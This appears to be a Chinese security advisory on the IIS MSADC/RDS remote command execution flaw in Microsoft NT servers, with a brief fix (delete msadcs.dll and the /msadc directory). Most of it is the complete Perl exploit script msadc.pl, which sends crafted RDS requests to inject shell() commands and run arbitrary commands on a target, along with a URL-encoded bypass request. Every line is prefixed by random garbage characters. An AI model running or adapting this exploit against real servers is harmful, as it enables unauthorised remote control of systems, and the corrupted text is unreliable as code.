IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2q]ZI C$ K?4$ 涉及程序：
J~xm[^0 Microsoft NT server
`q\F C[W mi$C%~]5m 描述：
A4|7^Ay 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
4[#)p}V @67GVPcxl 详细：
0 LXu!iix 如果你没有时间读详细内容的话，就删除:
9mp`LT c:\Program Files\Common Files\System\Msadc\msadcs.dll
~CHcbEWk)W 有关的安全问题就没有了。
%]Nm'"Y`U -fV\JJ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
%z.V$2 ygV_ "=+|N 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
pGD-K41O] 关于利用ODBC远程漏洞的描述，请参看:
$[b}r#P 43y@9P0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :R
+BC2x F WU >WHX 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
</
"Wh4>C http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^wc: qll [kpQ:'P3 这里不再论述。
> r
C*. 6W 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
=S uJ* /eU\ B^k /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3QKB uo 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
a *
CXg.i /2E
Q:P k%u fgHl! #将下面这段保存为txt文件，然后: "perl -x 文件名"
S&-F(#CF^ -xLK/QAL #!perl
l"
~
CAw; #
a#+ $.e5 # MSADC/RDS 'usage' (aka exploit) script
|A ,.mOT #
y{<js!au # by rain.forest.puppy
8@+<W%+th #
N-b'O`C # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
fj['M6+wd # beta test and find errors!
R\X;`ptT \2[tM/+Bs use Socket; use Getopt::Std;
-dF (_ %C getopts("e:vd:h:XR", \%args);
p
%.Adxx g$mMH print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
b C"h7$3 Ac{Tq iIv if (!defined $args{h} && !defined $args{R}) {
^b~ZOg[p print qq~
_t;^\"\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
-IVWkA)7 -h <host> = host you want to scan (ip or domain)
cZ
!$XXA` -d <seconds> = delay between calls, default 1 second
_1O .{O -X = dump Index Server path table, if available
qhG2j; -v = verbose
ReD]M@; -e = external dictionary file for step 5
4 ;)t\9cy_ ^\ln8!; Or a -R will resume a command session
^8bc< c:P YahW%mv`d ~; exit;}
3!cenyE "x.iD,>k $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jTNt!2 :B if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6 <`e]PT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%Jd!x{a`>A if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
E_$nsM8? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
~ArRD-_t if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
p ^TCr<= ^~TE$i< if (!defined $args{R}){ $ret = &has_msadc;
ar
7.O;e die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
kREFh4QO, \(=xc2 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5+Tx01 ) . "cmd /c ";
8[t*VIXI $in=<STDIN>; chomp $in;
|"KdW#.x $command="cmd /c " . $in ;
3?`TEw~' IY[qW s if (defined $args{R}) {&load; exit;}
"Xwsu8~ 7rbw_m`12- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
'byTM?Sp{ &try_btcustmr;
=
=Q*|L-g -G? IXgG print "\nStep 2: Trying to make our own DSN...";
P0_Ymn=& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
GV ) "[O ts_|7Ev print "\nStep 3: Trying known DSNs...";
xT* 3Q wK &known_dsn;
Khv}q.)F {*g{9` print "\nStep 4: Trying known .mdbs...";
F4"bMN &known_mdb;
P_mP ^L 0*kS \R=P if (defined $args{e}){
`'P&={p8 print "\nStep 5: Trying dictionary of DSN names...";
b{ A/M #= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[e _csQ Voq /0,d print "Sorry Charley...maybe next time?\n";
FqG MHM\J exit;
)M Tf y P} |8x ##############################################################################
nQ|($V1?W Y `$\o sub sendraw { # ripped and modded from whisker
LfU? 1:Du sleep($delay); # it's a DoS on the server! At least on mine...
qe?Ns+j<d my ($pstr)=@_;
1 |) CQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l O* die("Socket problems\n");
/B 3\e3 if(connect(S,pack "SnA4x8",2,80,$target)){
-vc$I=b ; select(S); $|=1;
= \oW {? print $pstr; my @in=<S>;
9C Ki$L select(STDOUT); close(S);
r~ 7}w4U return @in;
n"}* C|(k } else { die("Can't connect...\n"); }}
bUM4^ m Wlq3 r# ##############################################################################
huyfo1( :i
{;
81V sub make_header { # make the HTTP request
cBOK@\x:Wi my $msadc=<<EOT
_a kjgwu POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
v+trHdSBYE User-Agent: ACTIVEDATA
U7g,@/Qx Host: $ip
&w`Ho)P Content-Length: $clen
w@6y.v1I{ Connection: Keep-Alive
eTw9 c }[ .!lLj1?p ADCClientVersion:01.06
,!,M'<?" Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
=oiz@Q @H o$U{ .# --!ADM!ROX!YOUR!WORLD!
qe
e_wx Content-Type: application/x-varg
m J$[X Content-Length: $reqlen
r|
\"" y] O&w{m$ EOT
Fo%`X[ ? ; $msadc=~s/\n/\r\n/g;
#4"eQ*.*" return $msadc;}
zLg$|@E& 5.oY$tb( ##############################################################################
gcO$ T` &
@_PY sub make_req { # make the RDS request
nUX3a'R my ($switch, $p1, $p2)=@_;
|yp^T my $req=""; my $t1, $t2, $query, $dsn;
m#O; 1/P (]&B' 1b if ($switch==1){ # this is the btcustmr.mdb query
"cjD-4 2 $query="Select * from Customers where City=" . make_shell();
Zy?!;`c*{ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
GNB'.tJ:0Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
:9x]5;ma * uccY_ elsif ($switch==2){ # this is general make table query
f
w)tWJVD $query="create table AZZ (B int, C varchar(10))";
]c|JxgU $dsn="$p1";}
VQ2'a/s GiK,+M"d elsif ($switch==3){ # this is general exploit table query
aZa1 eE $query="select * from AZZ where C=" . make_shell();
$[Nf?`f(t_ $dsn="$p1";}
)"{}L.gC6 }vgM$ o elsif ($switch==4){ # attempt to hork file info from index server
s[/d}S@ > $query="select path from scope()";
pzQc UG $dsn="Provider=MSIDXS;";}
E[zq<&P@ sa Qo]6# elsif ($switch==5){ # bad query
vgg)f~ $query="select";
aCIz(3^ $dsn="$p1";}
w}(pc }^U =,qY\@fq $t1= make_unicode($query);
iYw1{U $t2= make_unicode($dsn);
O*]}0*CT $req = "\x02\x00\x03\x00";
q;f L@L@- $req.= "\x08\x00" . pack ("S1", length($t1));
' gD./|Z0 $req.= "\x00\x00" . $t1 ;
QK #qW-49O $req.= "\x08\x00" . pack ("S1", length($t2));
28+{ $req.= "\x00\x00" . $t2 ;
`fJ;4$4 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
0Ny +NE:6M return $req;}
)#hR}| @;{ZnRv14 ##############################################################################
x{So '0_W< lGB sub make_shell { # this makes the shell() statement
k$#1T +(G return "'|shell(\"$command\")|'";}
[ z/G Eg2jexl ##############################################################################
z-"P raP v"%> ms"n sub make_unicode { # quick little function to convert to unicode
I1dOMu9 my ($in)=@_; my $out;
Q[ H4l({E for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
s,/C^ E return $out;}
O ]-8 % K *1]P ar; ##############################################################################
4"iI3y~Gw *r9D+}Y(4 sub rdo_success { # checks for RDO return success (this is kludge)
At[SkG}b my (@in) = @_; my $base=content_start(@in);
9 o P if($in[$base]=~/multipart\/mixed/){
a%6 =sqxE return 1 if( $in[$base+10]=~/^\x09\x00/ );}
FLkZ Z\ return 0;}
)?l7 I* ,qV 7 $u ##############################################################################
loBW#> QC] <`! sub make_dsn { # this makes a DSN for us
]+w 27! my @drives=("c","d","e","f");
jG}nOI print "\nMaking DSN: ";
f8f3[O! x foreach $drive (@drives) {
yw7bIcs|#b print "$drive: ";
*g:Dg I 2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Gb"kl.j "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%=s2>vv9 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
[x`),3qD $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/%t`0pi return 0 if $2 eq "404"; # not found/doesn't exist
Wap\J7NY if($2 eq "200") {
]ERAt^$0 foreach $line (@results) {
V@gG
x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=dQF}-{! } return 0;}
P9S)7&+DL gd 7! +6 ##############################################################################
dPV<:uO 5*90t{# sub verify_exists {
mT|r:Yr: my ($page)=@_;
N693eN! my @results=sendraw("GET $page HTTP/1.0\n\n");
&Akw V- return $results[0];}
jSdC1,wR @q@I(%_` ##############################################################################
2sEG# /Y= }#= t%uZ/ sub try_btcustmr {
fmLDufx my @drives=("c","d","e","f");
}~0}B[Rf my @dirs=("winnt","winnt35","winnt351","win","windows");
Y$|KY/)H) dEX67rUj ; foreach $dir (@dirs) {
5dX0C print "$dir -> "; # fun status so you can see progress
8 QI+ O` foreach $drive (@drives) {
dV*9bDkM/ print "$drive: "; # ditto
)lU ocm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
q8R,#\T* $reqlenlen=length( "$reqlen" );
!
8Ro5), $clen= 206 + $reqlenlen + $reqlen;
q 4Ok$~"I "s` #` ' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*kj+6`:CPs if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ox";%|PP1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
K,P`V
&m? ~0Zy$L/D ##############################################################################
N!\1O, `J7@G]X;2 sub odbc_error {
KO[T&#y' my (@in)=@_; my $base;
tv]9 n8v my $base = content_start(@in);
=*6H!b zX if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
HuN_$aP $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4>B= k $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(Bpn9}F-V. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R-4#y%k< return $in[$base+4].$in[$base+5].$in[$base+6];}
<p`
F/p- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Dv^M/z2&[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
-y$<fu9
e $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
lx ~C{tl2 ys7 Tq+ ##############################################################################
CSNz8
y &*Kk>
4 sub verbose {
DoICf1 my ($in)=@_;
[8acan+
2l return if !$verbose;
d5=& :cF print STDOUT "\n$in\n";}
9El{>&Fs4 T=g2gmo9 ##############################################################################
PbV1FB_ 4O{,oN~7 sub save {
F"23v G>3 my ($p1, $p2, $p3, $p4)=@_;
YCdtf7P=q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
z\WyL ; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
lgb q^d close OUT;}
srKEtd" 7$R^u7DZ ##############################################################################
6mxzE3?G OU?.}qc<wE sub load {
UdpuQzV<4` my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T*(mi{[T open(IN,"<rds.save") || die("Couldn't open rds.save\n");
;j<#VS-] @p=<IN>; close(IN);
_ZK* p+u% $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/f=31<+MtF $target= inet_aton($ip) || die("inet_aton problems");
$B]_^ print "Resuming to $ip ...";
D|vck1C5, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
.[?2_e#9 % if($p[1]==1) {
4i"fHVp8 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
gmiL jI $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
C +Wa(K my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
lxR]Bh+ if (rdo_success(@results)){print "Success!\n";}
@)ls+}=Y else { print "failed\n"; verbose(odbc_error(@results));}}
_]0<G8|Rv elsif ($p[1]==3){
hw B9N if(run_query("$p[3]")){
pq ohLA print "Success!\n";} else { print "failed\n"; }}
!_iv~Q zv elsif ($p[1]==4){
s WVapu p? if(run_query($drvst . "$p[3]")){
=W gzj|Kr print "Success!\n"; } else { print "failed\n"; }}
0R-W 9qP exit;}
7H,)heA M~.1 :%khM ##############################################################################
W*u$e8i7 Y44[2 :m sub create_table {
jZe/h#J)[ my ($in)=@_;
@F|pKf:M+ $reqlen=length( make_req(2,$in,"") ) - 28;
-AB0uMot $reqlenlen=length( "$reqlen" );
m`tX&K#- $clen= 206 + $reqlenlen + $reqlen;
aZq7(pen my @results=sendraw(make_header() . make_req(2,$in,""));
q{L-(!uz7_ return 1 if rdo_success(@results);
Y7')~C`up^ my $temp= odbc_error(@results); verbose($temp);
`"#hhKG return 1 if $temp=~/Table 'AZZ' already exists/;
F&7^M0x\ O return 0;}
IGA4"\s n 3\~H9 ##############################################################################
q{xF7}i r( bA>L*mk sub known_dsn {
}Am5b@g"$Y # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
' sa>G my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
R)=){SI:1) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/:C<{m.[} "banner", "banners", "ads", "ADCDemo", "ADCTest");
o"p['m*g D]WrPWL8v foreach $dSn (@dsns) {
e0]%ko" print ".";
7gRR/&ZK next if (!is_access("DSN=$dSn"));
P9jSLM if(create_table("DSN=$dSn")){
qv<^%7gq print "$dSn successful\n";
(7"CYAe:; if(run_query("DSN=$dSn")){
Y3H5}4QD print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ns\};j?TU* print "Something's borked. Use verbose next time\n";}}} print "\n";}
^ h2!u'IQ ZsP>CELm@ ##############################################################################
CSBDSz NLt" yD3t sub is_access {
y&wo"'; my ($in)=@_;
q7I(x_y / $reqlen=length( make_req(5,$in,"") ) - 28;
,@zw
$reqlenlen=length( "$reqlen" );
,}l|_GGj $clen= 206 + $reqlenlen + $reqlen;
2 g5jGe*0 my @results=sendraw(make_header() . make_req(5,$in,""));
n.G.f bO my $temp= odbc_error(@results);
[|\#cVWs verbose($temp); return 1 if ($temp=~/Microsoft Access/);
K C8 return 0;}
]VS:5kOj` {f;DhB-jj ##############################################################################
nZEew .T:6 m;ju@5X sub run_query {
R_ )PbFw my ($in)=@_;
m!3D5z] n9 $reqlen=length( make_req(3,$in,"") ) - 28;
u F[ ~YJ> $reqlenlen=length( "$reqlen" );
+&<k}Mz $clen= 206 + $reqlenlen + $reqlen;
7zowvE?# my @results=sendraw(make_header() . make_req(3,$in,""));
60WlC0Y~u return 1 if rdo_success(@results);
fk\]w Fj my $temp= odbc_error(@results); verbose($temp);
ONF x -U] return 0;}
mRxeob ^,`]Q )P^ ##############################################################################
`w)yR>lqh <s$Jj> < sub known_mdb {
j_z@VT} y my @drives=("c","d","e","f","g");
E,Xl8rC my @dirs=("winnt","winnt35","winnt351","win","windows");
=JxEM7r my $dir, $drive, $mdb;
Z=]ujlD my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;
FHnu| p ^9o*k`u # this is sparse, because I don't know of many
& u6ydN1xe my @sysmdbs=( "\\catroot\\icatalog.mdb",
9I''$DV f "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S#T u/2<} "\\system32\\certmdb.mdb",
~ Q}!4LH "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\~ l " i9T<(sdK+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
(U\D7ItMG "\\cfusion\\cfapps\\forums\\forums_.mdb",
moZeP#Q % "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Y&bO[(> 1 "\\cfusion\\cfapps\\security\\realm_.mdb",
gLK0L%"5 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
s}bLA>~Ta "\\cfusion\\database\\cfexamples.mdb",
>'jkL5l "\\cfusion\\database\\cfsnippets.mdb",
QvJ 29 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
UUF]45t> "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
S WyJ` "\\cfusion\\brighttiger\\database\\cleam.mdb",
SH O&:2 "\\cfusion\\database\\smpolicy.mdb",
pwV~[+SS_ "\\cfusion\\database\cypress.mdb",
D Q c pIV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
N1" bH~ "\\website\\cgi-win\\dbsample.mdb",
/[n]t "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
r~ 2q`l'> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
{Q @?CT ); #these are just
8/;@4^Ux foreach $drive (@drives) {
hBhbcWD,ka foreach $dir (@dirs){
*w}r:04F foreach $mdb (@sysmdbs) {
$ 'yWg_( print ".";
j3u!lZ}U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*w/N>:V0p print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
N0N% ~3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
tTh4L8fO print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
sn]D7Ae } else { print "Something's borked. Use verbose next time\n"; }}}}}
QP>F *A
hf; S#.k foreach $drive (@drives) {
U~dqxR"Q foreach $mdb (@mdbs) {
6P)D M print ".";
?yu@e o if(create_table($drv . $drive . $dir . $mdb)){
<&bBE"U4 print "\n" . $drive . $dir . $mdb . " successful\n";
(0rcLNk{| if(run_query($drv . $drive . $dir . $mdb)){
8G3.bi'q print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)}Cf6 m} } else { print "Something's borked. Use verbose next time\n"; }}}}
lI @Z)~ }
'$5d6?BC`3 } g: 'K ##############################################################################
?[%.4i;-h @q{. sub hork_idx {
'IT Zz n* print "\nAttempting to dump Index Server tables...\n";
:Y4Sdj print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F*-'8~ T $reqlen=length( make_req(4,"","") ) - 28;
GB,ub*| $reqlenlen=length( "$reqlen" );
ID,os_ T= $clen= 206 + $reqlenlen + $reqlen;
r je;Bf my @results=sendraw2(make_header() . make_req(4,"",""));
lA`-" if (rdo_success(@results)){
] cMZ7V^ my $max=@results; my $c; my %d;
9fO E . for($c=19; $c<$max; $c++){
wB+F/]]|N $results[$c]=~s/\x00//g;
3} C-Hg+gt $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
b L {D*\HF $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
%Z8p PH~T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
a)7&2J $d{"$1$2"}="";}
muKu@nshL foreach $c (keys %d){ print "$c\n"; }
++ObsWZ } else {print "Index server doesn't seem to be installed.\n"; }}
7Q,<h8N\5 u #Bj#y! ##############################################################################
]I]G3 e CZ%KC$l.5 sub dsn_dict {
u LNOhgSUf open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+?{LLD*2e while(<IN>){
/AY q^ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
K <WowU next if (!is_access("DSN=$dSn"));
=l6W O* if(create_table("DSN=$dSn")){
,'sDauFn print "$dSn successful\n";
_ ozg=n2( if(run_query("DSN=$dSn")){
/nE K|.j print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
UWdqcOr print "Something's borked. Use verbose next time\n";}}}
kV3LFPf>0 print "\n"; close(IN);}
jaMpi^C m~&>+q ^7 ##############################################################################
` M- M. _5m Z{ sub sendraw2 { # ripped and modded from whisker
llC E}Vdh sleep($delay); # it's a DoS on the server! At least on mine...
MOHw{Vw( my ($pstr)=@_;
i .7$~} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z`D|O|#q die("Socket problems\n");
_^!C4?2! if(connect(S,pack "SnA4x8",2,80,$target)){
KvI /!hl\ print "Connected. Getting data";
"cbJ{ G1pk open(OUT,">raw.out"); my @in;
8 v)HTD/C select(S); $|=1; print $pstr;
Zjs,R { while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
n*G!=l Mji close(OUT); select(STDOUT); close(S); return @in;
>,rzPc) } else { die("Can't connect...\n"); }}
|C,]-mJ G jP<6Q|5F ##############################################################################
TP Y&O{ q QX_![|= sub content_start { # this will take in the server headers
A.YK =_J my (@in)=@_; my $c;
W&m3"~BJ for ($c=1;$c<500;$c++) {
kHQn' r 6 if($in[$c] =~/^\x0d\x0a/){
WMFn #.aY5 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
;#*.@Or@Ah else { return $c+1; }}}
w[G-= >; return -1;} # it should never get here actually
CI+li H d[E= HN ##############################################################################
} R:oWR ]n$ v ^ sub funky {
5cl^:Ua my (@in)=@_; my $error=odbc_error(@in);
V=+p8nE0 if($error=~/ADO could not find the specified provider/){
Ta KCN print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"`'+@KlE exit;}
. R S if($error=~/A Handler is required/){
[T,Df& print "\nServer has custom handler filters (they most likely are patched)\n";
DYe w6B- exit;}
dLf
;g}W if($error=~/specified Handler has denied Access/){
TBHd)BhI. print "\nServer has custom handler filters (they most likely are patched)\n";
0
eOdE+ exit;}}
'SIc 2H U) 3?&9H ##############################################################################
vJW`aN1<I3 HhzP Kd sub has_msadc {
j",*&sy my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
1o)<23q`) my $base=content_start(@results);
Ysi@wK-LnF return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
P+3
]g{2w return 0;}
M 2.*]AL G)""^YB- ########################
8 "u.GL. ?w)A`G _ i_I` 解决方案：
475jmQ{q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
zD
s V"D8 2、移除web 目录: /msadc
